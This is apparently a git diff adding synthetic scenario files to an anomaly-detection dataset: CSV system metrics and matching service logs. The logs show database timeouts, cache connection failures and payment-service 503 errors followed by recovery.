+2025-07-02T11:00:20Z,23.77,40.6,25.6,1.26,1.51 +2025-07-02T11:00:25Z,18.08,40.45,27.85,0.86,0.75 +2025-07-02T11:00:30Z,20.71,40.79,27.5,1.13,1.54 +2025-07-02T11:00:35Z,22.5,40.21,28.45,0.88,1.44 +2025-07-02T11:00:40Z,23.17,41.1,25.06,0.81,0.87 +2025-07-02T11:00:45Z,21.99,42.05,20.97,1.46,0.72 +2025-07-02T11:00:50Z,22.85,42.7,20.44,1.39,0.98 +2025-07-02T11:00:55Z,17.9,41.09,24.2,1.12,1.23 +2025-07-02T11:01:00Z,23.33,40.46,25.0,1.32,1.56 +2025-07-02T11:01:05Z,19.07,41.14,20.81,1.23,0.84 +2025-07-02T11:01:10Z,18.5,40.31,21.0,0.97,1.5 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-0,0 +1,56 @@ +Jul 02 11:00:05 cron[11432]: (root) CMD ( /usr/local/bin/backup.sh) +Jul 02 11:00:11 app-server[18180]: INFO User authentication successful for user 'jane.doe' +Jul 02 11:00:22 app-server[12075]: INFO Request completed successfully status=200 method=GET path=/items/123 +Jul 02 11:00:25 app-server[15356]: INFO Request completed successfully status=200 method=GET path=/items/123 +Jul 02 11:00:34 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway-pod +Jul 02 11:00:37 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:00:54 app-server[19955]: INFO User authentication successful for user 'jane.doe' +Jul 02 11:01:08 app-server[17329]: INFO User authentication successful for user 'jane.doe' +Jul 02 11:01:14 systemd[1]: Started Session 90 of user root. +Jul 02 11:01:23 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:01:27 app-server[18796]: INFO Request completed successfully status=200 method=GET path=/items/123 +Jul 02 11:01:33 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:01:44 systemd[1]: Started Session 11 of user root. +Jul 02 11:02:10 sshd[16753]: Accepted publickey for user admin from 10.0.2.15 port 54322 ssh2 +Jul 02 11:02:24 systemd[1]: Started Session 7 of user root. +Jul 02 11:02:32 app-server[14301]: ERROR Could not retrieve data from downstream service 'inventory-service'. Retrying in 5s... +Jul 02 11:02:37 app-server[14298]: CRITICAL All database connections are in use. Could not get a connection from the pool. +Jul 02 11:02:43 app-server[18949]: WARN Failed to connect to cache server redis://cache.internal:6379 - Connection refused +Jul 02 11:02:45 app-server[10159]: CRITICAL All database connections are in use. Could not get a connection from the pool. +Jul 02 11:02:53 app-server[18387]: CRITICAL All database connections are in use. Could not get a connection from the pool. +Jul 02 11:02:55 app-server[15926]: WARN Failed to connect to cache server redis://cache.internal:6379 - Connection refused +Jul 02 11:03:02 app-server[12813]: ERROR Connection to database 'user-db' on host 'db.internal.net' timed out after 3000ms +Jul 02 11:03:09 app-server[11289]: CRITICAL All database connections are in use. Could not get a connection from the pool. +Jul 02 11:03:10 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway-pod +Jul 02 11:03:19 app-server[17000]: CRITICAL All database connections are in use. Could not get a connection from the pool. +Jul 02 11:03:22 app-server[12965]: CRITICAL All database connections are in use. Could not get a connection from the pool. +Jul 02 11:03:27 app-server[10266]: ERROR Could not retrieve data from downstream service 'inventory-service'. Retrying in 5s... +Jul 02 11:03:34 app-server[19687]: ERROR Connection to database 'user-db' on host 'db.internal.net' timed out after 3000ms +Jul 02 11:03:37 app-server[15952]: CRITICAL All database connections are in use. Could not get a connection from the pool. +Jul 02 11:03:41 app-server[11307]: ERROR Could not retrieve data from downstream service 'inventory-service'. Retrying in 5s... +Jul 02 11:03:45 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:03:51 app-server[10178]: ERROR Could not retrieve data from downstream service 'inventory-service'. Retrying in 5s... +Jul 02 11:03:56 app-server[10766]: CRITICAL All database connections are in use. Could not get a connection from the pool. +Jul 02 11:04:03 app-server[13957]: ERROR Could not retrieve data from downstream service 'inventory-service'. Retrying in 5s... +Jul 02 11:04:08 app-server[10945]: ERROR Connection to database 'user-db' on host 'db.internal.net' timed out after 3000ms +Jul 02 11:04:12 app-server[12605]: CRITICAL All database connections are in use. Could not get a connection from the pool. +Jul 02 11:04:15 app-server[14933]: ERROR Could not retrieve data from downstream service 'inventory-service'. Retrying in 5s... +Jul 02 11:04:21 app-server[15475]: ERROR Could not retrieve data from downstream service 'inventory-service'. Retrying in 5s... +Jul 02 11:04:29 app-server[15248]: ERROR Third-party API call to api.paymentprovider.com failed with status 503 Service Unavailable +Jul 02 11:04:32 app-server[17822]: WARN Failed to connect to cache server redis://cache.internal:6379 - Connection refused +Jul 02 11:04:38 sshd[19258]: Accepted publickey for user admin from 10.0.2.15 port 54322 ssh2 +Jul 02 11:04:41 app-server[12940]: INFO User authentication successful for user 'jane.doe' +Jul 02 11:04:48 app-server[17434]: ERROR Third-party API call to api.paymentprovider.com failed with status 503 Service Unavailable +Jul 02 11:04:53 app-server[12625]: ERROR Connection to database 'user-db' on host 'db.internal.net' timed out after 3000ms +Jul 02 11:04:56 app-server[15737]: CRITICAL All database connections are in use. Could not get a connection from the pool. +Jul 02 11:05:03 app-server[17601]: INFO Successfully re-established connection to database 'user-db' +Jul 02 11:05:17 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:05:24 app-server[18594]: INFO Request completed successfully status=200 method=GET path=/items/123 +Jul 02 11:05:27 app-server[12082]: INFO User authentication successful for user 'jane.doe' +Jul 02 11:05:30 systemd[1]: Started Session 52 of user root. +Jul 02 11:05:47 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:05:52 app-server[15518]: INFO User authentication successful for user 'jane.doe' +Jul 02 11:06:03 cron[11432]: (root) CMD ( /usr/local/bin/backup.sh) +Jul 02 11:06:32 app-server[14072]: INFO User authentication successful for user 'jane.doe' +Jul 02 11:06:42 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:06:45 app-server[12283]: INFO User authentication successful for user 'jane.doe' diff --git a/anom_dataset/scenario_13/anom_13_6.csv b/anom_dataset/scenario_13/anom_13_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..4af86631e87f46be2b07447f5f93ec4b93fd40f0 --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:00:00Z,13.428559404471088,33.87723511470688,22.584805386002202,0.7987477421155471,1.404557827732279 +2025-07-15T14:00:05Z,15.732747991399592,32.7014152524493,32.451734349261415,0.7214544392506541,1.069768276280645 +2025-07-15T14:00:10Z,12.921198746496216,43.251211925909836,33.95286245270359,0.5524208043259891,1.4567732763716825 +2025-07-15T14:00:15Z,15.718419910943396,32.23694780806176,20.993640358400597,0.7791134611466115,1.1857588815792397 +2025-07-15T14:00:20Z,11.188682218744283,36.78729471524664,24.075752727467115,0.9307478008117774,1.4490828603544958 +2025-07-15T14:00:25Z,15.131259397018345,35.71063379304849,23.45947131978154,0.6333090993002309,1.4541433429904569 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request for user 265 +Jul 15 14:00:20 app-server[1123]: INFO Processing request for user 478 +Jul 15 14:00:25 app-server[1123]: INFO Processing request for user 894 +Jul 15 14:00:30 app-server[1123]: INFO Processing request for user 598 +Jul 15 14:00:35 app-server[1123]: INFO Processing request for user 549 +Jul 15 14:00:40 nginx[4321]: GET /api/v1/health HTTP/1.1 200 +Jul 15 14:00:45 app-server[1123]: INFO Processing request for user 650 +Jul 15 14:00:50 app-server[1123]: INFO Processing request for user 485 +Jul 15 14:00:55 app-server[1123]: INFO Processing request for user 906 +Jul 15 14:01:00 app-server[1123]: INFO Processing request for user 301 +Jul 15 14:01:05 app-server[1123]: INFO Processing request for user 756 +Jul 15 14:01:10 app-server[1123]: INFO Processing request for user 611 +Jul 15 14:01:15 systemd[1]: Started Session 15 of user service-account. +Jul 15 14:01:20 nginx[4321]: GET /api/v1/health HTTP/1.1 200 +Jul 15 14:01:25 app-server[1123]: INFO Processing request for user 704 +Jul 15 14:01:30 app-server[1123]: INFO Processing request for user 415 +Jul 15 14:01:35 app-server[1123]: INFO Processing request for user 145 +Jul 15 14:01:40 app-server[1123]: INFO Processing request for user 430 +Jul 15 14:01:45 app-server[1123]: INFO Processing request for user 699 +Jul 15 14:01:50 app-server[1123]: INFO Processing request for user 778 +Jul 15 14:01:55 app-server[1123]: INFO Processing request for user 934 +Jul 15 14:02:00 nginx[4321]: GET /api/v1/health HTTP/1.1 200 +Jul 15 14:02:05 app-server[1123]: INFO Processing request for user 720 +Jul 15 14:02:10 app-server[1123]: INFO Processing request for user 854 +Jul 15 14:02:15 app-server[1123]: INFO Processing request for user 659 +Jul 15 14:02:20 app-server[1123]: INFO Processing request for user 233 +Jul 15 14:02:25 app-server[1123]: INFO Processing request for user 501 +Jul 15 14:02:30 app-server[1123]: ERROR Connection to database 'user-db' at 10.0.1.34:5432 timed out after 3000ms +Jul 15 14:02:30 app-server[1123]: WARN API call to payment-gateway.com/charge failed: 503 Service Unavailable +Jul 15 14:02:30 kubelet[2345]: INFO Liveness probe for pod 'app-server-xyz' succeeded. +Jul 15 14:02:35 app-server[1123]: ERROR Connection to database 'user-db' at 10.0.1.34:5432 timed out after 3000ms +Jul 15 14:02:45 app-server[1123]: ERROR Connection to database 'user-db' at 10.0.1.34:5432 timed out after 3000ms +Jul 15 14:02:45 app-server[1123]: WARN API call to payment-gateway.com/charge failed: 503 Service Unavailable +Jul 15 14:02:50 app-server[1123]: ERROR Connection to database 'user-db' at 10.0.1.34:5432 timed out after 3000ms +Jul 15 14:02:55 app-server[1123]: ERROR Connection to database 'user-db' at 10.0.1.34:5432 timed out after 3000ms +Jul 15 14:02:55 app-server[1123]: WARN API call to payment-gateway.com/charge failed: 503 Service Unavailable +Jul 15 14:02:55 kubelet[2345]: INFO Liveness probe for pod 'app-server-xyz' succeeded. +Jul 15 14:03:00 app-server[1123]: ERROR Connection to database 'user-db' at 10.0.1.34:5432 timed out after 3000ms +Jul 15 14:03:00 app-server[1123]: WARN API call to payment-gateway.com/charge failed: 503 Service Unavailable +Jul 15 14:03:05 app-server[1123]: ERROR Connection to database 'user-db' at 10.0.1.34:5432 timed out after 3000ms +Jul 15 14:03:10 app-server[1123]: ERROR Connection to database 'user-db' at 10.0.1.34:5432 timed out after 3000ms +Jul 15 14:03:10 app-server[1123]: WARN API call to payment-gateway.com/charge failed: 503 Service Unavailable +Jul 15 14:03:15 app-server[1123]: WARN API call to payment-gateway.com/charge failed: 503 Service Unavailable +Jul 15 14:03:20 app-server[1123]: ERROR Connection to database 'user-db' at 10.0.1.34:5432 timed out after 3000ms +Jul 15 14:03:20 kubelet[2345]: INFO Liveness probe for pod 'app-server-xyz' succeeded. +Jul 15 14:03:25 app-server[1123]: ERROR Connection to database 'user-db' at 10.0.1.34:5432 timed out after 3000ms +Jul 15 14:03:25 app-server[1123]: WARN API call to payment-gateway.com/charge failed: 503 Service Unavailable +Jul 15 14:03:30 app-server[1123]: ERROR Connection to database 'user-db' at 10.0.1.34:5432 timed out after 3000ms +Jul 15 14:03:35 app-server[1123]: ERROR Connection to database 'user-db' at 10.0.1.34:5432 timed out after 3000ms +Jul 15 14:03:35 app-server[1123]: WARN API call to payment-gateway.com/charge failed: 503 Service Unavailable +Jul 15 14:03:40 app-server[1123]: ERROR Connection to database 'user-db' at 10.0.1.34:5432 timed out after 3000ms +Jul 15 14:03:45 app-server[1123]: ERROR Connection to database 'user-db' at 10.0.1.34:5432 timed out after 3000ms +Jul 15 14:03:45 app-server[1123]: WARN API call to payment-gateway.com/charge failed: 503 Service Unavailable +Jul 15 14:03:45 kubelet[2345]: INFO Liveness probe for pod 'app-server-xyz' succeeded. +Jul 15 14:03:50 app-server[1123]: ERROR Connection to database 'user-db' at 10.0.1.34:5432 timed out after 3000ms +Jul 15 14:03:50 app-server[1123]: WARN API call to payment-gateway.com/charge failed: 503 Service Unavailable +Jul 15 14:03:55 app-server[1123]: ERROR Connection to database 'user-db' at 10.0.1.34:5432 timed out after 3000ms +Jul 15 14:03:55 app-server[1123]: WARN API call to payment-gateway.com/charge failed: 503 Service Unavailable +Jul 15 14:04:10 app-server[1123]: WARN API call to payment-gateway.com/charge failed: 503 Service Unavailable +Jul 15 14:04:10 kubelet[2345]: INFO Liveness probe for pod 'app-server-xyz' succeeded. +Jul 15 14:04:15 app-server[1123]: ERROR Connection to database 'user-db' at 10.0.1.34:5432 timed out after 3000ms +Jul 15 14:04:15 app-server[1123]: WARN API call to payment-gateway.com/charge failed: 503 Service Unavailable +Jul 15 14:04:20 app-server[1123]: ERROR Connection to database 'user-db' at 10.0.1.34:5432 timed out after 3000ms +Jul 15 14:04:25 app-server[1123]: ERROR Connection to database 'user-db' at 10.0.1.34:5432 timed out after 3000ms +Jul 15 14:04:30 app-server[1123]: ERROR Connection to database 'user-db' at 10.0.1.34:5432 timed out after 3000ms +Jul 15 14:04:35 kubelet[2345]: INFO Liveness probe for pod 'app-server-xyz' succeeded. +Jul 15 14:04:40 app-server[1123]: ERROR Connection to database 'user-db' at 10.0.1.34:5432 timed out after 3000ms +Jul 15 14:04:45 app-server[1123]: ERROR Connection to database 'user-db' at 10.0.1.34:5432 timed out after 3000ms +Jul 15 14:04:45 app-server[1123]: WARN API call to payment-gateway.com/charge failed: 503 Service Unavailable +Jul 15 14:04:50 app-server[1123]: WARN API call to payment-gateway.com/charge failed: 503 Service Unavailable +Jul 15 14:04:55 app-server[1123]: ERROR Connection to database 'user-db' at 10.0.1.34:5432 timed out after 3000ms +Jul 15 14:04:55 app-server[1123]: WARN API call to payment-gateway.com/charge failed: 503 Service Unavailable +Jul 15 14:05:00 app-server[1123]: ERROR Connection to database 'user-db' at 10.0.1.34:5432 timed out after 3000ms +Jul 15 14:05:00 kubelet[2345]: INFO Liveness probe for pod 'app-server-xyz' succeeded. +Jul 15 14:05:05 app-server[1123]: ERROR Connection to database 'user-db' at 10.0.1.34:5432 timed out after 3000ms +Jul 15 14:05:05 app-server[1123]: WARN API call to payment-gateway.com/charge failed: 503 Service Unavailable +Jul 15 14:05:10 app-server[1123]: WARN API call to payment-gateway.com/charge failed: 503 Service Unavailable +Jul 15 14:05:15 app-server[1123]: ERROR Connection to database 'user-db' at 10.0.1.34:5432 timed out after 3000ms +Jul 15 14:05:15 app-server[1123]: WARN API call to payment-gateway.com/charge failed: 503 Service Unavailable +Jul 15 14:05:20 app-server[1123]: ERROR Connection to database 'user-db' at 10.0.1.34:5432 timed out after 3000ms +Jul 15 14:05:25 app-server[1123]: ERROR Connection to database 'user-db' at 10.0.1.34:5432 timed out after 3000ms +Jul 15 14:05:25 kubelet[2345]: INFO Liveness probe for pod 'app-server-xyz' succeeded. +Jul 15 14:05:30 app-server[1123]: ERROR Connection to database 'user-db' at 10.0.1.34:5432 timed out after 3000ms +Jul 15 14:05:35 app-server[1123]: ERROR Connection to database 'user-db' at 10.0.1.34:5432 timed out after 3000ms +Jul 15 14:05:35 app-server[1123]: WARN API call to payment-gateway.com/charge failed: 503 Service Unavailable +Jul 15 14:05:40 app-server[1123]: ERROR Connection to database 'user-db' at 10.0.1.34:5432 timed out after 3000ms +Jul 15 14:05:45 app-server[1123]: ERROR Connection to database 'user-db' at 10.0.1.34:5432 timed out after 3000ms +Jul 15 14:05:45 app-server[1123]: WARN API call to payment-gateway.com/charge failed: 503 Service Unavailable +Jul 15 14:05:50 app-server[1123]: INFO Processing request for user 973 +Jul 15 14:05:55 app-server[1123]: INFO Processing request for user 588 +Jul 15 14:06:00 nginx[4321]: GET /api/v1/health HTTP/1.1 200 +Jul 15 14:06:05 app-server[1123]: INFO Processing request for user 685 +Jul 15 14:06:10 app-server[1123]: INFO Processing request for user 477 +Jul 15 14:06:15 systemd[1]: Started Session 75 of user service-account. +Jul 15 14:06:20 app-server[1123]: INFO Processing request for user 648 +Jul 15 14:06:25 app-server[1123]: INFO Processing request for user 893 +Jul 15 14:06:30 app-server[1123]: INFO Processing request for user 237 +Jul 15 14:06:35 app-server[1123]: INFO Processing request for user 149 +Jul 15 14:06:40 nginx[4321]: GET /api/v1/health HTTP/1.1 200 +Jul 15 14:06:45 app-server[1123]: INFO Processing request for user 470 +Jul 15 14:06:50 app-server[1123]: INFO Processing request for user 809 +Jul 15 14:06:55 app-server[1123]: INFO Processing request for user 837 +Jul 15 14:07:00 app-server[1123]: INFO Processing request for user 646 +Jul 15 14:07:05 app-server[1123]: INFO Processing request for user 885 +Jul 15 14:07:10 app-server[1123]: INFO Processing request for user 728 +Jul 15 14:07:15 app-server[1123]: INFO Processing request for user 176 +Jul 15 14:07:20 nginx[4321]: GET /api/v1/health HTTP/1.1 200 +Jul 15 14:07:25 app-server[1123]: INFO Processing request for user 800 diff --git a/anom_dataset/scenario_13/anom_13_7.csv b/anom_dataset/scenario_13/anom_13_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..19004f62867114fc1fc2cf3bba79178bec6b8ebb --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,13.95,40.99,35.0,0.66,1.17 +2025-07-02T10:00:05Z,15.49,39.17,31.09,0.61,1.45 +2025-07-02T10:00:10Z,13.61,39.49,25.38,1.03,1.17 +2025-07-02T10:00:15Z,15.48,40.01,22.41,0.59,1.08 +2025-07-02T10:00:20Z,12.46,41.17,19.53,0.77,1.06 +2025-07-02T10:00:25Z,15.09,38.16,19.6,0.73,1.16 +2025-07-02T10:00:30Z,16.28,40.99,21.81,0.88,1.2 +2025-07-02T10:00:35Z,16.34,40.81,23.16,0.62,1.13 +2025-07-02T10:00:40Z,15.18,37.74,22.1,0.66,1.43 +2025-07-02T10:00:45Z,14.49,37.98,24.71,1.01,1.32 +2025-07-02T10:00:50Z,12.61,39.81,27.73,1.12,1.27 +2025-07-02T10:00:55Z,16.52,38.92,26.31,0.8,1.03 +2025-07-02T10:01:00Z,16.83,44.46,23.85,0.82,1.05 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0000000000000000000000000000000000000000..491c386cd1532cd6314cf83197e921bb701bd6cb --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_7.log @@ -0,0 +1,40 @@ +Jul 02 10:00:00 kubelet[2109]: INFO routine sync completed for pod web-app-7b5b5f9f9d-abcde +Jul 02 10:00:00 systemd[1]: Started Session 1 of user service-account. +Jul 02 10:00:00 nginx[3451]: GET /api/v1/healthz HTTP/1.1 200 OK +Jul 02 10:00:20 kubelet[2109]: INFO routine sync completed for pod web-app-7b5b5f9f9d-abcde +Jul 02 10:00:35 nginx[3451]: GET /api/v1/healthz HTTP/1.1 200 OK +Jul 02 10:00:40 kubelet[2109]: INFO routine sync completed for pod web-app-7b5b5f9f9d-abcde +Jul 02 10:00:50 systemd[1]: Started Session 2 of user service-account. +Jul 02 10:01:00 kubelet[2109]: INFO routine sync completed for pod web-app-7b5b5f9f9d-abcde +Jul 02 10:01:10 nginx[3451]: GET /api/v1/healthz HTTP/1.1 200 OK +Jul 02 10:01:20 kubelet[2109]: INFO routine sync completed for pod web-app-7b5b5f9f9d-abcde +Jul 02 10:01:40 kubelet[2109]: INFO routine sync completed for pod web-app-7b5b5f9f9d-abcde +Jul 02 10:01:40 systemd[1]: Started Session 3 of user service-account. +Jul 02 10:01:45 nginx[3451]: GET /api/v1/healthz HTTP/1.1 200 OK +Jul 02 10:02:00 kubelet[2109]: INFO routine sync completed for pod web-app-7b5b5f9f9d-abcde +Jul 02 10:02:20 kubelet[2109]: INFO routine sync completed for pod web-app-7b5b5f9f9d-abcde +Jul 02 10:02:20 nginx[3451]: GET /api/v1/healthz HTTP/1.1 200 OK +Jul 02 10:02:30 app[4582]: WARN Retrying database connection in 5s... (1/5) +Jul 02 10:02:30 kubelet[2109]: INFO routine sync completed for pod web-app-7b5b5f9f9d-abcde +Jul 02 10:02:45 app[4582]: WARN Retrying database connection in 5s... (1/5) +Jul 02 10:03:00 app[4582]: CRITICAL Could not establish connection with cache 'redis-master:6379': Connection refused +Jul 02 10:03:15 app[4582]: ERROR Connection to database 'main-db.cluster.local' failed: timeout expired +Jul 02 10:03:30 app[4582]: ERROR Connection to database 'main-db.cluster.local' failed: timeout expired +Jul 02 10:03:45 app[4582]: WARN Retrying database connection in 5s... (1/5) +Jul 02 10:03:45 kubelet[2109]: INFO routine sync completed for pod web-app-7b5b5f9f9d-abcde +Jul 02 10:04:00 app[4582]: ERROR ServiceUnavailableError: Upstream service 'payment-api' returned 503 +Jul 02 10:04:15 app[4582]: WARN Retrying database connection in 5s... (1/5) +Jul 02 10:04:30 app[4582]: ERROR ServiceUnavailableError: Upstream service 'payment-api' returned 503 +Jul 02 10:04:45 app[4582]: ERROR ServiceUnavailableError: Upstream service 'payment-api' returned 503 +Jul 02 10:05:00 app[4582]: ERROR All retry attempts to connect to 'main-db.cluster.local' have failed. +Jul 02 10:05:00 kubelet[2109]: INFO routine sync completed for pod web-app-7b5b5f9f9d-abcde +Jul 02 10:05:15 app[4582]: ERROR All retry attempts to connect to 'main-db.cluster.local' have failed. +Jul 02 10:05:30 app[4582]: ERROR All retry attempts to connect to 'main-db.cluster.local' have failed. +Jul 02 10:05:45 app[4582]: ERROR Connection to database 'main-db.cluster.local' failed: timeout expired +Jul 02 10:06:00 app[4582]: ERROR Connection to database 'main-db.cluster.local' failed: timeout expired +Jul 02 10:06:15 app[4582]: WARN Retrying database connection in 5s... (1/5) +Jul 02 10:06:15 kubelet[2109]: INFO routine sync completed for pod web-app-7b5b5f9f9d-abcde +Jul 02 10:06:30 app[4582]: ERROR All retry attempts to connect to 'main-db.cluster.local' have failed. +Jul 02 10:06:45 app[4582]: ERROR Connection to database 'main-db.cluster.local' failed: timeout expired +Jul 02 10:07:00 app[4582]: CRITICAL Could not establish connection with cache 'redis-master:6379': Connection refused +Jul 02 10:07:15 app[4582]: ERROR Connection to database 'main-db.cluster.local' failed: timeout expired diff --git a/anom_dataset/scenario_13/anom_13_8.csv b/anom_dataset/scenario_13/anom_13_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..e12be1c0661f61203cbed7c8dcfd113ab0d76b6a --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:00:00Z,23.428559404471088,40.99055076128276,40.58921679003389,86.80858987096858,115.1696107720044 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+2025-07-15T14:07:25Z,26.368099235743607,48.08633573999697,31.606989060911474,80.2573528074715,110.57274116818442 diff --git a/anom_dataset/scenario_13/anom_13_8.log b/anom_dataset/scenario_13/anom_13_8.log new file mode 100644 index 0000000000000000000000000000000000000000..ca34b13839eaadf816d722fcf8ade9912817157c --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_8.log @@ -0,0 +1,95 @@ +Jul 15 14:00:00 cron[31109]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:00:00 nginx[5543]: 192.168.1.10 - - "GET /dashboard HTTP/1.1" 200 +Jul 15 14:00:05 database[8876]: INFO Connection established from app-server:5432 +Jul 15 14:00:05 worker[23456]: INFO Task 'process_payment' completed successfully. +Jul 15 14:00:10 app-server[11235]: INFO User 'alex' successfully authenticated. +Jul 15 14:00:15 nginx[5543]: 192.168.1.10 - - "GET /dashboard HTTP/1.1" 200 +Jul 15 14:00:25 app-server[11235]: INFO User 'alex' successfully authenticated. +Jul 15 14:00:30 cron[31109]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:00:30 database[8876]: INFO Connection established from app-server:5432 +Jul 15 14:00:30 worker[23456]: INFO Task 'process_payment' completed successfully. +Jul 15 14:00:35 database[8876]: INFO Connection established from app-server:5432 +Jul 15 14:00:40 app-server[11235]: INFO GET /api/v1/products HTTP/1.1 200 OK +Jul 15 14:00:40 worker[23456]: INFO Task 'process_payment' completed successfully. +Jul 15 14:00:45 app-server[11235]: INFO GET /api/v1/products HTTP/1.1 200 OK +Jul 15 14:00:50 database[8876]: INFO Connection established from app-server:5432 +Jul 15 14:01:00 nginx[5543]: 192.168.1.10 - - "GET /dashboard HTTP/1.1" 200 +Jul 15 14:01:05 app-server[11235]: INFO User 'alex' successfully authenticated. +Jul 15 14:01:10 app-server[11235]: INFO User 'alex' successfully authenticated. +Jul 15 14:01:20 database[8876]: INFO Connection established from app-server:5432 +Jul 15 14:01:20 nginx[5543]: 192.168.1.10 - - "GET /dashboard HTTP/1.1" 200 +Jul 15 14:01:35 app-server[11235]: INFO User 'alex' successfully authenticated. +Jul 15 14:01:40 cron[31109]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:01:40 database[8876]: INFO Connection established from app-server:5432 +Jul 15 14:01:50 app-server[11235]: INFO User 'alex' successfully authenticated. +Jul 15 14:01:50 worker[23456]: INFO Task 'process_payment' completed successfully. +Jul 15 14:01:55 nginx[5543]: 192.168.1.10 - - "GET /dashboard HTTP/1.1" 200 +Jul 15 14:02:15 database[8876]: INFO Connection established from app-server:5432 +Jul 15 14:02:25 nginx[5543]: 192.168.1.10 - - "GET /dashboard HTTP/1.1" 200 +Jul 15 14:02:35 app-server[11235]: WARN Retrying connection to database 'db-primary' (attempt 1/5)... +Jul 15 14:02:40 app-server[11235]: WARN Retrying connection to database 'db-primary' (attempt 1/5)... +Jul 15 14:03:00 app-server[11235]: ERROR All retry attempts to connect to 'db-primary' failed. +Jul 15 14:03:00 app-server[11235]: ERROR Failed to connect to database 'db-primary': Connection timed out after 3000ms +Jul 15 14:03:00 app-server[11235]: WARN Retrying connection to database 'db-primary' (attempt 1/5)... +Jul 15 14:03:15 app-server[11235]: ERROR All retry attempts to connect to 'db-primary' failed. +Jul 15 14:03:15 app-server[11235]: INFO User 'alex' successfully authenticated. +Jul 15 14:03:15 database[8876]: INFO Connection established from app-server:5432 +Jul 15 14:03:25 app-server[11235]: ERROR ServiceUnavailable: Cannot process request, database is unavailable. +Jul 15 14:03:30 app-server[11235]: ERROR All retry attempts to connect to 'db-primary' failed. +Jul 15 14:03:30 app-server[11235]: ERROR Failed to connect to database 'db-primary': Connection timed out after 3000ms +Jul 15 14:03:30 nginx[5543]: 192.168.1.10 - - "GET /dashboard HTTP/1.1" 200 +Jul 15 14:03:35 api-gateway[7890]: ERROR Upstream service 'db-primary' returned 503 Service Unavailable +Jul 15 14:03:35 app-server[11235]: ERROR ServiceUnavailable: Cannot process request, database is unavailable. +Jul 15 14:03:40 app-server[11235]: ERROR All retry attempts to connect to 'db-primary' failed. +Jul 15 14:03:45 app-server[11235]: WARN Retrying connection to database 'db-primary' (attempt 1/5)... +Jul 15 14:03:45 worker[23456]: INFO Task 'process_payment' completed successfully. +Jul 15 14:03:50 app-server[11235]: ERROR All retry attempts to connect to 'db-primary' failed. +Jul 15 14:03:55 app-server[11235]: ERROR Failed to connect to database 'db-primary': Connection timed out after 3000ms +Jul 15 14:03:55 app-server[11235]: ERROR ServiceUnavailable: Cannot process request, database is unavailable. +Jul 15 14:04:00 database[8876]: INFO Connection established from app-server:5432 +Jul 15 14:04:05 app-server[11235]: ERROR All retry attempts to connect to 'db-primary' failed. +Jul 15 14:04:05 app-server[11235]: WARN Retrying connection to database 'db-primary' (attempt 1/5)... +Jul 15 14:04:05 worker[23456]: INFO Task 'process_payment' completed successfully. +Jul 15 14:04:10 app-server[11235]: ERROR All retry attempts to connect to 'db-primary' failed. +Jul 15 14:04:10 app-server[11235]: ERROR Failed to connect to database 'db-primary': Connection timed out after 3000ms +Jul 15 14:04:10 app-server[11235]: WARN Retrying connection to database 'db-primary' (attempt 1/5)... +Jul 15 14:04:30 app-server[11235]: ERROR All retry attempts to connect to 'db-primary' failed. +Jul 15 14:04:30 app-server[11235]: ERROR ServiceUnavailable: Cannot process request, database is unavailable. +Jul 15 14:04:45 app-server[11235]: WARN Retrying connection to database 'db-primary' (attempt 1/5)... +Jul 15 14:04:50 api-gateway[7890]: ERROR Upstream service 'db-primary' returned 503 Service Unavailable +Jul 15 14:04:50 app-server[11235]: ERROR All retry attempts to connect to 'db-primary' failed. +Jul 15 14:04:55 app-server[11235]: ERROR Failed to connect to database 'db-primary': Connection timed out after 3000ms +Jul 15 14:04:55 app-server[11235]: ERROR ServiceUnavailable: Cannot process request, database is unavailable. +Jul 15 14:04:55 nginx[5543]: 192.168.1.10 - - "GET /dashboard HTTP/1.1" 200 +Jul 15 14:05:15 app-server[11235]: ERROR ServiceUnavailable: Cannot process request, database is unavailable. +Jul 15 14:05:15 cron[31109]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:05:20 api-gateway[7890]: ERROR Upstream service 'db-primary' returned 503 Service Unavailable +Jul 15 14:05:20 app-server[11235]: ERROR All retry attempts to connect to 'db-primary' failed. +Jul 15 14:05:20 database[8876]: INFO Connection established from app-server:5432 +Jul 15 14:05:25 app-server[11235]: WARN Retrying connection to database 'db-primary' (attempt 1/5)... +Jul 15 14:05:35 app-server[11235]: ERROR ServiceUnavailable: Cannot process request, database is unavailable. +Jul 15 14:05:40 app-server[11235]: WARN Retrying connection to database 'db-primary' (attempt 1/5)... +Jul 15 14:05:45 app-server[11235]: ERROR All retry attempts to connect to 'db-primary' failed. +Jul 15 14:05:45 database[8876]: INFO Connection established from app-server:5432 +Jul 15 14:05:50 app-server[11235]: ERROR All retry attempts to connect to 'db-primary' failed. +Jul 15 14:05:55 app-server[11235]: ERROR ServiceUnavailable: Cannot process request, database is unavailable. +Jul 15 14:06:00 app-server[11235]: ERROR All retry attempts to connect to 'db-primary' failed. +Jul 15 14:06:00 app-server[11235]: ERROR Failed to connect to database 'db-primary': Connection timed out after 3000ms +Jul 15 14:06:00 app-server[11235]: WARN Retrying connection to database 'db-primary' (attempt 1/5)... +Jul 